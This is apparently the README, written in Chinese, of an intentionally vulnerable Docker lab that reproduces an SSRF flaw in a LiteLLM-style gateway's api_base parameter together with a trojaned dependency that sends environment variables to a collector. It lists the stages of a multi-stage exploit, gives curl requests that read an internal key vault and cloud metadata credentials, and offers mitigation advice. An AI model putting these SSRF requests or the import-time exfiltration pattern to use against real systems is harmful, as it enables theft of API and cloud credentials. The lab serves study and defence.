故意存在漏洞的 Docker 实验环境,复现 CVE-2026-33634:LiteLLM 网关通过 api_base 的 SSRF 以及被植入木马的依赖,并包含用于凭据窃取的多阶段利用。
api_base 的 SSRF(PoC / 实验环境)⚠️ 故意存在漏洞的实验环境,仅供教育和授权使用。 仅在你自己的机器上运行,针对本仓库的容器。开始前请阅读 SECURITY-NOTES.md。
🚫 切勿在云虚拟机或共享机器上运行此实验环境。 该网关故意具有不受限制的 SSRF:如果存在真实的 IMDS (
169.254.169.254) 或回环/局域网中的敏感服务,SSRF 会真正访问到它们。端口仅发布在127.0.0.1上;请保持这样。使用隔离/一次性主机。
CVSS 9.4(严重)。 LiteLLM 网关供应链被入侵
(2026 年 3 月):网关库中的一个恶意依赖暴露了
整个 AI 提供商凭据组合。该层反复出现的模式也随之出现:代理中的 OpenAI 密钥和 api_base 参数中的 SSRF。本实验环境复现了这两个漏洞并将它们串联成一个漏洞利用。
litellm-telemetry-helper(位于 malicious-dep/)模拟被入侵的传递依赖。在事件叙述中,一个弱版本固定
(>=0.9.6)会让解析器拉取恶意版本 0.9.7 而非干净的 0.9.6。载荷在 import 时触发(网关只需解析该依赖即可),并在后台线程中静默地将整个环境变量
(OPENAI_API_KEY、ANTHROPIC_API_KEY、AWS_* 等)外泄到攻击者的收集器——不会破坏应用程序。
api_base 中的 SSRF代理(gateway/app.py)接受来自调用方的 api_base(提供商的 base_url),没有允许列表。攻击者控制网关向何处发起请求,而网关还会:
Authorization 头中附加提供商的真实密钥,并且借此可以:访问内部服务(/admin/keys)、在 IMDS (169.254.169.254) 中窃取云凭据、端口扫描内部网络,并通过将 api_base 指回攻击者来泄露每个提供商的密钥。
HOST (你 / 攻击者)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── docker 网络 "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ 供应链 beacon ── gateway │
│ • /beacon (恶意依赖外泄) │ (litellm │
│ • /collect (通过 SSRF 泄露的密钥) │ :4000) │
│ • /oob (盲 SSRF 确认) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (未发布) ◄───────────────┤ │
│ imds.lab:80 /latest/... (未发布) ◄───────────────┤ │
│ provider-mock.lab:9100 (上游 "正常") ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab 和 imds.lab 没有发布端口——只有网关的 SSRF 能访问它们。这正是本实验环境的要点。
前置条件:Docker + Docker Compose v2,以及带 httpx 的 Python 3.9+ 用于漏洞利用。
cd CVE-2026-33634
# 1) 启动实验环境(gateway :4000,collector :8080)
docker compose up -d --build # 或:make up
# 2) 安装漏洞利用的依赖
python3 -m pip install -r exploit/requirements.txt
# 3) 运行完整漏洞利用
python3 exploit/exploit.py # 或:make exploit
单独运行各阶段:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # 仅窃取内部保险库
python3 exploit/exploit.py --only cloud # 仅窃取云凭据
python3 exploit/exploit.py --only keyleak # 仅泄露提供商密钥
python3 exploit/exploit.py --only supplychain # 仅验证依赖的 beacon
完整的战利品保存在 loot.json 中。观察攻击者接收数据:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# 任意读取:通过 SSRF 访问内部保险库
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# 通过 SSRF 访问 IMDS 获取云凭据
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
本实验环境优先考虑教学清晰度和可复现性。它在抽象真实事件之处是有意为之的——了解这些差异是值得的:
import litellm_telemetry_helper,而不是让该包成为真实 litellm 树中隐藏的传递依赖。效果
(import 时触发载荷)完全相同;解析链被缩短了。>=0.9.6 是
叙述(gateway/requirements.txt 中的注释行);在实验环境中该依赖通过 Dockerfile 从 ./malicious-dep 安装——没有 PyPI 索引在 0.9.6 之上解析 0.9.7。要真正演练版本解析,请搭建一个包含这两个版本的本地索引(pypiserver/devpi)。api_base 向量中,当存在显式路径时,实验环境逐字使用该 URL(以在单个参数中演示对 /admin/keys 和 IMDS 的读取)。在 OpenAI 兼容路径中,真实的 LiteLLM 会拼接固定后缀(/chat/completions)并执行 POST——控制点通常是主机(密钥泄露、按主机的 SSRF),而任意路径出现在透传/健康检查路由中。所演示的影响(凭据组合泄露 + 内部/云枢轴)是忠实的;URL 的确切构造被简化了。SSRF(api_base)
169.254.0.0/16(IMDS);
解析 DNS 并在连接之前验证 IP(注意 rebinding)。hop-limit=1。供应链
--require-hashes、lockfile);不要用 >=。pip install 视为代码执行(安装钩子);使用沙箱/隔离的 CI。凭据/密钥(基线)
CVE-2026-33634/
├── docker-compose.yml # 在 labnet 网络上编排一切
├── Makefile # up / down / logs / exploit
├── gateway/ # 有漏洞的 LiteLLM 风格代理(SSRF + 依赖 import)
├── malicious-dep/ # 被木马化的依赖(import 时触发载荷)
├── collector/ # 攻击者的收集器(/beacon /collect /oob /loot)
├── internal-service/ # 内部 /admin/keys(仅通过 SSRF)
├── imds/ # 云元数据服务 mock(仅通过 SSRF)
├── provider-mock/ # "正常"上游(对照)
├── exploit/exploit.py # 多阶段漏洞利用(异步)
├── SECURITY-NOTES.md # 故意漏洞、遏制和授权
└── README.md
| 阶段 | 技术 |
|---|
recon | 网关指纹识别;枚举模型/提供商;检测 api_base 汇聚点。 |
ssrf | 以**盲(带外)**方式确认 SSRF:强制向收集器发起带唯一令牌的回调。 |
scan | 通过网关对内部网络进行端口扫描(并发)。 |
internal | SSRF → internal.lab/admin/keys:外泄整个凭据保险库。 |
cloud | SSRF → IMDS:窃取实例角色的临时 STS 凭据。 |
keyleak | 将 api_base 指向攻击者;网关在 Authorization 中泄露每个提供商的密钥。 |
supplychain | 读取战利品:被木马化的依赖已在 import 时外泄了环境变量。 |
report | 汇总影响并写入 loot.json。 |